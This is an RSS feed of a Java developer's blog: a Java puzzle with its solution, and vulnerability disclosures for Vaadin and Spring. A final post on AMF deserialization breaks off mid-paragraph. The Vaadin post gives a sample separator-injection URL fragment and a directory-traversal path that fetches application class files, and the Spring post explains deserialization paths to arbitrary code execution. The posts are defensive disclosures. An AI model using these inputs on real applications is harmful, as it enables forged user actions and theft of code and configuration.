<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Wouter Coekaerts</title>
	<atom:link href="http://wouter.coekaerts.be/feed" rel="self" type="application/rss+xml" />
	<link>http://wouter.coekaerts.be</link>
	<description></description>
	<lastBuildDate>Sun, 19 Feb 2012 09:55:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Java Puzzle 1: Clowns &#8211; Solution</title>
		<link>http://wouter.coekaerts.be/2012/puzzle-clowns-solution?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=puzzle-clowns-solution</link>
		<comments>http://wouter.coekaerts.be/2012/puzzle-clowns-solution#comments</comments>
		<pubDate>Sat, 18 Feb 2012 22:45:22 +0000</pubDate>
		<dc:creator>Wouter</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[puzzle]]></category>
		<category><![CDATA[solution]]></category>

		<guid isPermaLink="false">http://wouter.coekaerts.be/?p=476</guid>
		<description><![CDATA[Spoiler warning: If you want to find out how you can fit 20 clowns into a Volkswagen, read on. If you haven&#8217;t seen or tried solving the clowns java puzzle yourself, do that first! As a reminder: here&#8217;s the code it&#8217;s all about: Path to the solution Imagine this was a real car with real [...]]]></description>
			<content:encoded><![CDATA[<p><b>Spoiler warning:</b> If you want to find out how you can fit 20 clowns into a Volkswagen, read on. If you haven&#8217;t seen or tried solving the <a href="http://wouter.coekaerts.be/2012/puzzle-clowns">clowns java puzzle</a> yourself, do that first!</p>
<p>As a reminder: here&#8217;s the code it&#8217;s all about:</p>
<pre class="brush: java; title: ; notranslate">
package clowns;

import java.util.HashSet;
import java.util.Set;

public class Volkswagen {
    private static final int CAPACITY = 5;
    private Set&lt;Clown&gt; clowns = new HashSet&lt;Clown&gt;();

    public synchronized void add(Clown clown) {
        if (clowns.size() &gt;= CAPACITY) {
            throw new IllegalStateException(&quot;I'm full&quot;);
        } else {
            clowns.add(clown);
        }
    }

    public synchronized void done() {
        if (clowns.size() == 20) {
            // The goal is to reach this line
            System.out.println(&quot;I'm a Volkswagen with 20 clowns!&quot;);
        }
    }
}
</pre>
<h2>Path to the solution</h2>
<p><img src="http://wouter.coekaerts.be/files/puzzles/clowns-car.gif" alt="" class="alignright"><br />
Imagine this was a real car with real clowns.</p>
<p>&#8211; It&#8217;s impossible to get twenty clowns in! There are only five seat belts, and this Volkswagen really insists on safety. When a clown enters, it first checks if there aren&#8217;t already five of them sitting in it. Only after that checks it allows another one to sit (<code>clowns.add(clown)</code>).  As soon as there are five clown sitting, there&#8217;s no way to pass the check anymore, so no way to add any extra clown.<br />
&#8211; You&#8217;re right that we can&#8217;t add them one by one. But there is a window of opportunity between the check when they enter the car, and when they really sit down. Make all twenty clowns simultaneously enter the car. They will all pass the check of the Volkswagen, because it only counts clowns that are already sitting down. And only after the check let them sit.<br />
&#8211; The car&#8217;s <code>synchronized</code> protection prevents anyone else from doing anything with it between the check and the sitting down.<br />
&#8211; Indeed, it prevents someone <em>else</em> from interfering. It doesn&#8217;t prevent the Volkswagen or the clown itself to do it if they&#8217;re given the opportunity (on the same thread).<br />
&#8211; But they don&#8217;t get that opportunity; the car is a control freak. After the check it immediately makes them sit in their seats (in the <code>Set</code>).<br />
&#8211; Did you have a look at those seats? They&#8217;re numbered, and they always first asks a person at which number they want to sit (<code>.hashCode()</code>). We&#8217;ve got some weird clowns here: when they&#8217;re given the opportunity to decide that, right before answering, they can quickly pull another clown into the car. And that clown then does exactly the same with another clown. That goes on until there&#8217;s a stack of twenty of them recursively pulling each other in. As long as their ass doesn&#8217;t touch the seat, the seat-belt sign won&#8217;t come on.<br />
&#8211; That must be quite a sight.</p>
<h2>The solution</h2>
<p>Call <code>Volkswagen.add</code> recursively, by overriding <code>Clown.hashCode()</code>:</p>
<pre class="brush: java; title: ; notranslate">
package you;

import clowns.Clown;
import clowns.Volkswagen;

public class You {
    static int counter = 0;
    static Volkswagen vw = new Volkswagen();

    public static void main(String args[]) {
        vw.add(new RecursiveClown());
        vw.done();
    }

    static class RecursiveClown extends Clown {
        public int hashCode() {
            if (++counter &lt; 20) {
                vw.add(new RecursiveClown());
            }
            return super.hashCode();
        }
    }
}
</pre>
<h2>And the winner is&#8230;</h2>
<p>The first solution came from Heinz Kabutz, famous from <a href="http://javaspecialists.eu/">The Java Specialists&#8217; Newsletter</a>. He actually pushed me to publish these puzzles in the first place and promoted them. To show my infinite gratitude I&#8217;m going to disqualify him for having seen the puzzle in advance.</p>
<p>I received 7 correct solutions that passed the <a href="http://wouter.coekaerts.be/puzzles">clarified rules</a>. All used the same principle: adding them simultaneously using hashcode. Half of them also danced around the Volkswagen a bit in different threads to accomplish that. That&#8217;s fine; there&#8217;s no ban on dancing clowns here.</p>
<p>Congrats to all of you, especially Manuel Alvarez who was the first, and runner-up Jean-Louis Willems with the first <em>short</em> solution.</p>
<h2>Conclusion</h2>
<p>A simple check at the beginning of a synchronized method is not enough to guarantee safety if you&#8217;re not very careful with which code you give control to. But should you really worry about crazy recursive clowns when writing your simple Volkswagen code?<br/><br />
No, you shouldn&#8217;t. Well, not unless it&#8217;s about privileged code handling a sandbox &#8212; such as code of the JDK itself when running an applet. But it sure is interesting to explore these dark corners of Java. We&#8217;ll continue on that track soon with a puzzle about dreams&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://wouter.coekaerts.be/2012/puzzle-clowns-solution/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Java Puzzle 1: Clowns</title>
		<link>http://wouter.coekaerts.be/2012/puzzle-clowns?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=puzzle-clowns</link>
		<comments>http://wouter.coekaerts.be/2012/puzzle-clowns#comments</comments>
		<pubDate>Thu, 16 Feb 2012 20:50:05 +0000</pubDate>
		<dc:creator>Wouter</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[puzzle]]></category>

		<guid isPermaLink="false">http://wouter.coekaerts.be/?p=438</guid>
		<description><![CDATA[Introduction This is the first in a series of Java puzzles, that put your Java skills to the test, in a challenging and fun way! A puzzle consists of some given Java code with a line in it that seems to be impossible to reach. It&#8217;s up to you to find the hole in it, [...]]]></description>
			<content:encoded><![CDATA[<h2>Introduction</h2>
<p><img src="http://wouter.coekaerts.be/files/puzzles/clown-puzzle.jpeg" alt="" class="alignright"><br />
This is the first in a series of <em>Java puzzles</em>, that put your Java skills to the test, in a challenging and fun way!<br />
A puzzle consists of some given Java code with a line in it that seems to be impossible to reach. It&#8217;s up to you to find the hole in it, abuse a subtle behavior of Java to make execution reach that line anyways.</p>
<p>There <em>almost</em> aren&#8217;t any rules; any <em>cheating</em> inside your code is allowed; it is the whole point of the puzzle. [Clarification: Cheating the environment is not]. You must run with the security manager enabled (<code>java -Djava.security.manager</code>), otherwise it would be too easy (with <a href="http://docs.oracle.com/javase/6/docs/api/java/lang/reflect/AccessibleObject.html#setAccessible(boolean)">setAccessible</a> for example). [Update: Use common sense, and see the <a href="http://wouter.coekaerts.be/puzzles">exact rules</a> if you're in doubt].</p>
<h2>The puzzle</h2>
<p><strong>How can you fit 20 clowns into a Volkswagen?</strong> Two classes are given: an empty Clown class, and a Volkswagen class to which you can add clowns. When you try to add a Clown, it is checked that it isn&#8217;t already full. But if you just try hard enough, there&#8217;s always room for some extra clowns&#8230;</p>
<pre class="brush: java; title: ; notranslate">
package clowns;

public class Clown {
}
</pre>
<pre class="brush: java; title: ; notranslate">
package clowns;

import java.util.HashSet;
import java.util.Set;

public class Volkswagen {
    private static final int CAPACITY = 5;
    private Set&lt;Clown&gt; clowns = new HashSet&lt;Clown&gt;();

    public synchronized void add(Clown clown) {
        if (clowns.size() &gt;= CAPACITY) {
            throw new IllegalStateException(&quot;I'm full&quot;);
        } else {
            clowns.add(clown);
        }
    }

    public synchronized void done() {
        if (clowns.size() == 20) {
            // The goal is to reach this line
            System.out.println(&quot;I'm a Volkswagen with 20 clowns!&quot;);
        }
    }
}
</pre>
<p>Write a class that when executed pushes 20 clowns into the little car, and reaches the marked line. Here is one that won&#8217;t really work, just to get you started:<br/></p>
<pre class="brush: java; title: ; notranslate">
package you;

import clowns.Clown;
import clowns.Volkswagen;

public class You {
    public static void main(String args[]) {
        // TODO put 20 clowns into a Volkswagen
        Volkswagen vw = new Volkswagen();
        for (int i = 0; i &lt; 20; i++) {
            vw.add(new Clown());
        }
        vw.done();
    }
}
</pre>
<p>You can copy-paste the code into your IDE, or get it from <a href="https://github.com/coekie/java-puzzles">github</a> (<a href="https://github.com/coekie/java-puzzles/zipball/master">zip</a>).<br />
If you&#8217;ve solved it, <del datetime="2012-02-19T09:45:07+00:00">let me know (<a href="mailto:wouter@coekaerts.be">email</a> or <a href="http://twitter.com/WouterCoekaerts">Twitter</a>). If you&#8217;re the first, you&#8217;ll get&#8230; the honor of being the first.</del> compare it to <a href="http://wouter.coekaerts.be/2012/puzzle-clowns-solution">the solution posted here</a>.<br />
<del datetime="2012-02-19T09:45:07+00:00">The solution and</del> a new challenge will follow, so stay tuned!</p>
<p>Update: Don&#8217;t post answers as comments here, they will be blocked by moderation. You may comment, but no spoiler. If you have an alternative solution, post it as a comment on the <a href="http://wouter.coekaerts.be/2012/puzzle-clowns-solution">solution post</a><br />
Update 2: Added clarification of <a href="http://wouter.coekaerts.be/puzzles">the rules</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://wouter.coekaerts.be/2012/puzzle-clowns/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Vaadin vulnerabilities</title>
		<link>http://wouter.coekaerts.be/2011/vaadin-vulnerabilities?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=vaadin-vulnerabilities</link>
		<comments>http://wouter.coekaerts.be/2011/vaadin-vulnerabilities#comments</comments>
		<pubDate>Wed, 28 Sep 2011 16:15:02 +0000</pubDate>
		<dc:creator>Wouter</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://wouter.coekaerts.be/?p=406</guid>
		<description><![CDATA[My review of Vaadin&#8216;s security revealed these vulnerabilities, now fixed in Vaadin 6.6.7. What is Vaadin? In their own words: Vaadin is a Java framework for building modern web applications. Its server-side architecture [and] security mechanisms to prevent eg. man-in-the-middle and cross-site scripting attacks [...] make Vaadin one of the most secure UI frameworks in [...]]]></description>
			<content:encoded><![CDATA[<p>My review of <a href="https://vaadin.com/">Vaadin</a>&#8216;s security revealed these vulnerabilities, now <a href="http://vaadin.com/download/release/6.6/6.6.7/release-notes.html">fixed in Vaadin 6.6.7</a>.</p>
<p>What is Vaadin? In their own words: <em>Vaadin is a Java framework for building modern web applications. Its server-side architecture [and] security mechanisms to prevent eg. man-in-the-middle and cross-site scripting attacks [...] make Vaadin one of the most secure UI frameworks in existence</em>.</p>
<h2>Separator injection</h2>
<p>In a Vaadin application, the server sends updates to the client using JSON, but the client uses a custom format to send updates to the server. This format uses exotic characters as a separator between records/variables. But, prior to Vaadin 6.6.7, there is no mechanism to escape those characters when they occur within the data. If an attacker can trick a client into sending his crafted data to the server, he can perform actions in the user interface on behalf of the victim.<br />
In other words, the result is similar to that of cross site request forgery (CSRF).<br />
If certain UI components, such as the <a href="https://vaadin.com/book/-/page/components.richtextarea.html">rich text area</a> (which allows a user to set arbitrary HTML) are used anywhere in the application, this also leads to cross site scripting (XSS).</p>
<p>There are multiple ways a client can be tricked into sending such data. For example a user could be tricked into copy-pasting a certain string. But there is also an automated way: if the application uses the URL fragment (with the <a href="https://vaadin.com/book/-/page/advanced.urifu.html"><code>UriFragmentUtility</code></a>), the characters can be injected in there. Whether that last trick actually works depends on the browser. It works on Chrome but doesn&#8217;t seem to work on Firefox, probably due to the way such characters are encoded.</p>
<p>More concretely, how does the format work? Suppose the user changes the text in a in a text field (with id PID1) to &#8220;test&#8221;, and then presses a button (PID2; setting &#8220;state&#8221; to true). The client could then send the following (slightly simplified), were <code>[xx]</code> is the character with the given hexadecimal ascii value:<br/><br />
<code>0a09a5e2-3190-4f16-a75b-284b98d221ce[1D]test[1F]PID1[1F]text[1F]s[1E]true[1F]PID2[1F]state[1F]b</code><br />
1D is the burst separator, 1F the field separator, and 1E the record separator. The &#8220;s&#8221; means type string, and &#8220;b&#8221; type boolean. The first part is the anti-CSRF token.</p>
<p>If the text value instead of &#8220;test&#8221; would have been <code>true[1F]PID3[1F]state[1F]b</code>, then the server would interprete that as the user clicking on the button PID3. That can be done in the url fragment, with a url like this: <code>http://vaadin-application/#true%1FPID3%1Fstate%1Fb</code>.</p>
<p>This is <a href="http://dev.vaadin.com/ticket/7669">Vaadin ticket 7669</a>.</p>
<h2>Classpath directory traversal</h2>
<p>The Servlet in Vaadin takes care of the communication, but also serves static resources (html, javascript, css, images&#8230;). It looks for these resources in the &#8220;VAADIN&#8221; directory on the web application&#8217;s classpath. Usually these resources would be found in a jar of the application, such as the Vaadin jar itself. But if the classpath also contains a directory (instead of only jars), also resources outside of the VAADIN directory can be retrieved using a simple <code>/../</code> directory traversal. That allows an attacker to download the (byte)code of the application or configuration files (possibly containing passwords).<br/><br />
If this is exploitable in practice depends on how the application was packaged, and which servlet container is running it.</p>
<p>For example, creating a simple Vaadin application skeleton using the maven archetype with <code>mvn archetype:generate -DarchetypeGroupId=com.vaadin -DarchetypeArtifactId=vaadin-archetype-clean -DarchetypeVersion=1.5.6 -DgroupId=tst -DartifactId=tst -Dversion=0 -Dpackaging=war</code> and starting it with <code>mvn package jetty:run</code>, the main application class could be reached at the url <code>/tst/VAADIN/../tst/MyVaadinApplication.class</code>.</p>
<p>This is <a href="http://dev.vaadin.com/ticket/7670">Vaadin ticket 7670</a>.</p>
<h2>Contributory XSS</h2>
<p>There some places in the Vaadin framework that make it easy for a developer to introduce XSS problems. These are not directly exploitable by themselves, but in combination with other code can turn into vulnerabilities.</p>
<p>Exceptions on the server-side in handling updates from the client are often shown with an exclamation mark in a red circle next to the UI component that caused it; and hovering over that icon shows a tooltip with the exception stacktrace in it. HTML in that tooltip in the message of the exception (or its cause in the stacktrace) is not escaped.<br />
For example, take a Vaadin application that shows a number in a text input field (without adding an explicit validator). If you paste HTML in that text field, parsing of that text to a number will fail with a NumberFormatException whose message includes the HTML text, that will then be shown unescaped.<br/><br />
I didn&#8217;t find an automated way to exploit this that doesn&#8217;t involve convincing a user to copy-paste some HTML. But this issue has the danger of turning another <em>normal</em> bug (that results in an otherwise harmless exception) into a security vulnerability.<br/><br />
This is <a href="http://dev.vaadin.com/ticket/7671">Vaadin ticket 7671</a>.</p>
<p>The <code>src</code> attribute of a number of UI components, which can contain a URL, is often handled without escaping. This seems to be the case for at least <a href="https://vaadin.com/book/-/page/components.embedded.html"><code>Embedded</code></a> (when <code>type</code> is <code>browser</code>, i.e. an iframe), <code>VWindow</code>, <code>VMenuBar</code>, <code>VFilterSelect</code>, <code>VView</code> and <code>Action</code>. In an application where users are allowed to configure such a URL, which would then be used in such a component when shown to another user, this would be an exploitable XSS. That would be unusual, but not impossible; for example for the <code>Embedded</code> component, imagine a form where users can include an iframe in their posts.<br/><br />
This is <a href="http://dev.vaadin.com/ticket/7672">Vaadin ticket 7672</a>.</p>
<p>Finally, in a slightly different category, there are strings that are shown intentionally as HTML without escaping, in places where it is not clearly documented in the Vaadin API. This is the case in the tooltip (description) of all components, caption of a Panel or a notification (as in Window.showNotification). If you use user-provided text in any of those, you must take care of escaping yourself. Future versions of Vaadin (starting from 6.7) will provide plain-text modes at least for some of these.</p>
<h2>Conclusion</h2>
<p>Vaadin is still a framework with a particularly good security architecture and counter-measures. But no program or framework is completely immune to security vulnerabilities. Vaadin&#8217;s reaction to these vulnerabilities was quick and thorough.</p>
<p>Now it&#8217;s time to update your Vaadin applications to a newer version!</p>
]]></content:encoded>
			<wfw:commentRss>http://wouter.coekaerts.be/2011/vaadin-vulnerabilities/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spring vulnerabilities</title>
		<link>http://wouter.coekaerts.be/2011/spring-vulnerabilities?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=spring-vulnerabilities</link>
		<comments>http://wouter.coekaerts.be/2011/spring-vulnerabilities#comments</comments>
		<pubDate>Fri, 09 Sep 2011 10:16:28 +0000</pubDate>
		<dc:creator>Wouter</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://wouter.coekaerts.be/?p=324</guid>
		<description><![CDATA[Springsource recently released Spring 3.0.6 fixing a bunch of security vulnerabilities I reported that affect applications using Spring and serialization (cve-2011-2894). Today Springsource finally made a security announcement. Here are some details on these vulnerabilities. Serializable proxy to bean factory Affected: Applications that have Spring AOP on the classpath and deserialize a stream from an [...]]]></description>
			<content:encoded><![CDATA[<p>Springsource recently released <a href="http://www.springsource.org/node/3212">Spring 3.0.6</a> fixing a bunch of security vulnerabilities I reported that affect applications using Spring and serialization (cve-2011-2894). Today Springsource finally made a <a href="http://www.springsource.com/security/cve-2011-2894">security announcement</a>. Here are some details on these vulnerabilities.</p>
<h2>Serializable proxy to bean factory</h2>
<p><b>Affected</b>: Applications that have Spring AOP on the classpath and deserialize a stream from an untrusted source<br/><br />
<b>Result</b>: Arbitrary code execution</p>
<p>Short version: The problem is that the JdkDynamicAopProxy, DefaultListableBeanFactory and some other Spring classes are Serializable and can be configured to execute arbitrary code when the application uses these deserialized objects.</p>
<p>JdkDynamicAopProxy is used internally by the <a href="http://static.springsource.org/spring/docs/3.0.x/api/org/springframework/aop/framework/DefaultAopProxyFactory.html">DefaultAopProxyFactory</a>. It is an <a href="http://download.oracle.com/javase/1.5.0/docs/api/java/lang/reflect/InvocationHandler.html">InvocationHandler</a> , so it can be used with a <a href="http://download.oracle.com/javase/1.5.0/docs/api/java/lang/reflect/Proxy.html">java.lang.reflect.Proxy</a> to dynamically handle method calls. Which object the proxy should delegate calls to, the target, can be configured in the JdkDynamicAopProxy with a <a href="http://static.springsource.org/spring/docs/3.0.x/api/org/springframework/aop/TargetSource.html">TargetSource</a>.<br />
Certain TargetSources can be configured to point to a bean in a BeanFactory, which can contain arbitrary code in the form of bean definitions.<br />
All of these objects (Proxy, JdkDynamicAopProxy, AbstractBeanFactoryBasedTargetSource, DefaultListableBeanFactory, AbstractBeanDefinition) are Serializable, and the Proxy can be configured to implement any interface the application might expect. That means an attacker can send them in the place of any object in a stream, and when the receiving application calls any method on the deserialized object, it will trigger the execution of the arbitrary code.</p>
<p>A DefaultListableBeanFactory is under normal circumstances never included in a serialized stream. It has a writeReplace method that before it&#8217;s being serialized replaces it with a SerializedBeanFactoryReference; a reference to an already existing bean factory. But it&#8217;s only the serialization that is prevented (at the attacker&#8217;s side, where it&#8217;s easily overridden), not the deserialization.</p>
<p>The application doesn&#8217;t even have to use Spring in its directly publically exposed part to be vulnerable. It just needs Spring AOP available on the classpath.<br />
An application is vulnerable if it deserializes a stream from an untrusted source. That includes any application using RMI, or Spring&#8217;s HttpInvoker.</p>
<p>The vulnerability has been fixed in Spring by making it impossible to deserialize a DefaultListableBeanFactory except through the SerializedBeanFactoryReference. And the id used by the SerializedBeanFactoryReference has been made easier to configure because it should not be predictable by a client.</p>
<p>Another way this issue can be avoided is by not allowing a java.reflect.Proxy or JdkDynamicAopProxy to be deserialized when it is received from a client. Unfortunately some Spring applications actually depend on that to work, so this has not been disabled in Spring itself. But for most applications completely blocking it should be fine, so that&#8217;s what I strongly recommend. Starting from Spring 3.0.6, the RemoteInvocationSerializingExporter can be configured to not accept any java.lang.Proxy by setting <a href="http://static.springsource.org/spring/docs/3.0.x/javadoc-api/org/springframework/remoting/rmi/RemoteInvocationSerializingExporter.html#setAcceptProxyClasses(boolean)">acceptProxyClasses</a> to false. The advantage of that solution is that it not only blocks this concrete attack, but also possible future variations. There is some danger that similar vulnerabilities might pop up again later, because accepting a JdkDynamicAopProxy means also accepting any serializable TargetSource, Advisor, Advise,&#8230; Those have not been written with security against this kind of attack in mind. Blocking it removes that unwanted attack surface.</p>
<h2>Exposed ProxyFactory</h2>
<p><b>Affected</b>: Applications using HttpInvokerServiceExporter (and possibly other exporters)<br/><br />
<b>Result</b>: Arbitrary code execution</p>
<p>An <a href="http://static.springsource.org/spring/docs/3.0.x/api/org/springframework/remoting/httpinvoker/HttpInvokerServiceExporter.html">HttpInvokerServiceExporter</a> exposes the methods of a specified service interface over HTTP, using Java serialization.<br />
But it accidentally not only exposes those methods, but also the methods of the Advised interface of the ProxyFactory it uses internally.<br />
One of those exposed methods is setTargetSource, which can be abused to change the way that the exporter will handle all calls after that.<br />
This can be exploited in a way similar to the previous vulnerability: by sending a targetSource that points to a bean factory that can contain arbitrary code.</p>
<p>It is fixed in Spring by making the proxy <a href="http://static.springsource.org/spring/docs/current/api/org/springframework/aop/framework/ProxyConfig.html#isOpaque()">opaque</a>.</p>
<h2>About ContextPropagatingRemoteInvocation</h2>
<p>Those were two vulnerabilities using Spring AOP. The rest of this post is about variants of one type of attack in Spring Security.<br />
First I&#8217;ll give a short introduction to the relevant parts of Spring Security and <a href="http://static.springsource.org/spring-security/site/docs/3.0.x/apidocs/org/springframework/security/remoting/rmi/ContextPropagatingRemoteInvocation.html">ContextPropagatingRemoteInvocation</a> to make clear what this is all about.</p>
<p>In Spring Security, an <a href="http://static.springsource.org/spring-security/site/docs/3.0.x/apidocs/org/springframework/security/core/Authentication.html">Authentication</a> object represents either a (not authenticated yet) request for authentication, or the result of the authentication. It usually contains a username, password and/or the list of authorities granted to the user.<br />
The checking of an authentication request and building of the resulting authentication happens in an AuthenticationProvider.<br />
The information inside the unauthenticated Authentication object should not be trusted, it still has to be checked. Usually that Authentication object is created by the application itself, and filled with the information provided by the user (usually just the username and password).</p>
<p>When using the ContextPropagatingRemoteInvocation, not only some specific attributes of this Authentication object are provided by the user, but he provides the whole Authentication object, in serialized form.<br />
The ContextPropagatingRemoteInvocation can be used to authenticate requests to any service exposed with a HttpInvokerServiceExporter. It doesn&#8217;t have to be enabled explicitly on the server; even applications that normally handle authentication in another way are still vulnerable to these problems.</p>
<p>The essence of all of the following problems is that the code is not written to handle such arbitrary untrusted Authentication objects.<br />
The fix applied in Spring for this issue is not to allow such arbitrary Authentication requests in a ContextPropagatingRemoteInvocation anymore; but instead allow only a username and a password.</p>
<h3>ContextPropagatingRemoteInvocation authentication</h3>
<p><b>Affected</b>: Applications using HttpInvokerServiceExporter, with Spring Security<br/><br />
<b>Result</b>: Privilege escalation: authenticate without credentials</p>
<p>This is the combination of a problem in Spring and the JDK. Because Oracle is still investigating their side of the issue, I&#8217;m still keeping the details private.</p>
<h3>Password in BadCredentialsException</h3>
<p><b>Affected</b>: Applications using HttpInvokerServiceExporter with the DaoAuthenticationProvider (and possibly other providers).<br/><br />
<b>Result</b>: Privilege escalation: expose passwords</p>
<p>The DaoAuthenticationProvider.additionalAuthenticationChecks method throws a BadCredentialsException that contains as <a href="http://static.springsource.org/spring-security/site/docs/3.0.x/apidocs/org/springframework/security/core/AuthenticationException.html#getExtraInformation()">extraInformation</a> the UserDetails, which also contain the (possibly hashed) correct password.<br />
So when a user logs in with the wrong password, he receives a response that contains the right password.</p>
<p>There is already an option available in Spring to avoid this: <a href="http://static.springsource.org/spring-security/site/docs/3.0.x/apidocs/org/springframework/security/authentication/AbstractAuthenticationManager.html#setClearExtraInformation(boolean)">AbstractAuthenticationManager.clearExtraInformation</a>. But that&#8217;s an obscure detail not documented anywhere except in the javadoc, so most applications don&#8217;t enabled this.</p>
<h3>PreAuthenticatedAuthenticationProvider</h3>
<p><b>Affected</b>: Applications using HttpInvokerServiceExporter, with the PreAuthenticatedAuthenticationProvider<br/><br />
<b>Result</b>: Privilege escalation: authenticate without credentials</p>
<p>The use for the <a href="http://static.springsource.org/spring-security/site/apidocs/org/springframework/security/web/authentication/preauth/PreAuthenticatedAuthenticationProvider.html">PreAuthenticatedAuthenticationProvider</a>, is that an application can be set up for example behind a trusted reverse proxy (usually to integrate into a single-sign-on solution) that provides an http header that contains a username. That header is then parsed by the <a href="http://static.springsource.org/spring-security/site/docs/3.0.x/apidocs/org/springframework/security/web/authentication/preauth/RequestHeaderAuthenticationFilter.html">RequestHeaderAuthenticationFilter</a> that puts the username in a <a href="http://static.springsource.org/spring-security/site/docs/3.0.x/apidocs/org/springframework/security/web/authentication/preauth/PreAuthenticatedAuthenticationToken.html">PreAuthenticatedAuthenticationToken</a>. That token is then trusted (without having to provide a password) when authentication happens by the PreAuthenticatedAuthenticationProvider.<br />
The javadoc of <a href="http://static.springsource.org/spring-security/site/docs/3.0.x/apidocs/org/springframework/security/web/authentication/preauth/RequestHeaderAuthenticationFilter.html">RequestHeaderAuthenticationFilter</a> that this is only safe to be used in a setup where the source (proxy) of the request can be trusted. Still, it seems reasonable to assume it&#8217;s safe to use with Spring remoting (i.e., in combination with a HttpInvokerServiceExporter).</p>
<p>The problem is that nothing prevents a PreAuthenticatedAuthenticationToken from being provided directly by a ContextPropagatingRemoteInvocation. The PreAuthenticatedAuthenticationProvider doesn&#8217;t check that the PreAuthenticatedAuthenticationToken comes from a trusted source.</p>
<p>In this kind of setup the PreAuthenticatedGrantedAuthoritiesUserDetailsService could commonly be used to provide the details of the user that is logging in, and with that an attacker can give himself any authority he wants. This vulnerability probably applies to any AuthenticationUserDetailsService.</p>
<p>The intent of the PreAuthenticatedAuthenticationProvider is similar to the RunAsImplAuthenticationProvider: there is an Authentication coming from a trusted source, without real credentials. The RunAsImplAuthenticationProvider doesn&#8217;t have the same problem though, because it requires a secret key to be provided in the token.</p>
<h3>Authorities in JaasAuthenticationProvider</h3>
<p><b>Affected</b>: Applications using HttpInvokerServiceExporter, with the JaasAuthenticationProvider<br/><br />
<b>Result</b>: Privilege escalation: acquiring any GrantedAuthority</p>
<p>The JaasAuthenticationProvider blindly copies the GrantedAuthorities of a request Authentication into the result Authentication. So a client can tell the server which authorities he wants, and the server blindly grants them. There&#8217;s nothing more to it than that.</p>
<h3>Principal in JaasAuthenticationProvider</h3>
<p><b>Affected</b>: Applications using HttpInvokerServiceExporter, with the JaasAuthenticationProvider, and an exposed service with a particular behaviour<br/><br />
<b>Result</b>: Privilege escalation: authenticate as another user</p>
<p>In addition to the granted authorities (see above), the JaasAuthenticationProvider also copies the principal given in the request, although only its toString was authenticated using JAAS. The provided principal can be any object, it doesn&#8217;t need to implement a particular interface. If it is an object whose toString changes afterwards, that also changes with which username you are logged in.</p>
<p>I don&#8217;t know of any object in Spring or the JDK that could easily be (ab)used as principal for this; one that out of itself changes the result of its toString method.<br />
So this is probably only exploitable in practice if the service being called changes the content of objects it receives as parameters in a way the attacker can control, so that its toString changes from one username to another one, and then still in the same request, looks up the name of the currently logged in user (which has then switched), and then for example returns a result that should only be visible to that user.</p>
<p>That&#8217;s a not completely impossible, but a bit farfetched scenario.</p>
<h2>Conclusion</h2>
<p>If you are using Spring and receiving serialized streams from an untrusted source (with RMI, Spring Remoting with HttpInvoker,&#8230;) you should upgrade to a fixed version of Spring asap.</p>
<p>Standard Java serialization is a powerful and flexible mechanism. But that leads unexpected security consequences and many opportunities for abuse. Vulnerabilities related to it keep popping up. Most of those where about breaking out of a local sandbox, but here it applies in a remote context. I don&#8217;t expect that stream of problems to end.<br/><br />
It continues to be a useful mechanism in the right situation, and applying these updates will avoid the specific issues here for now. But I recommend you stop using it altogether for untrusted remoting if you care about your security.</p>
]]></content:encoded>
			<wfw:commentRss>http://wouter.coekaerts.be/2011/spring-vulnerabilities/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>AMF arbitrary code execution</title>
		<link>http://wouter.coekaerts.be/2011/amf-arbitrary-code-execution?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=amf-arbitrary-code-execution</link>
		<comments>http://wouter.coekaerts.be/2011/amf-arbitrary-code-execution#comments</comments>
		<pubDate>Tue, 14 Jun 2011 21:59:58 +0000</pubDate>
		<dc:creator>Wouter</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://wouter.coekaerts.be/?p=285</guid>
		<description><![CDATA[This vulnerability is a design flaw in how Adobe LiveCycle, Adobe BlazeDS and GraniteDS handle the AMF protocol, that can be exploited resulting in arbitrary code execution. The basis of how the deserialization of AMF data works, is that the data contains a class name, names of properties, and values for those properties. The application [...]]]></description>
			<content:encoded><![CDATA[<p>This vulnerability is a design flaw in how Adobe LiveCycle, Adobe BlazeDS and GraniteDS handle the AMF protocol, that can be exploited resulting in arbitrary code execution.</p>
<p>The basis of how the deserialization of AMF data works, is that the data contains a class name, names of properties, and values for those properties. The application then creates an instance of that class by calling its constructor (without arguments), and using the Java beans conventions for getters and setters to set the properties in that newly created object.<br/><br />
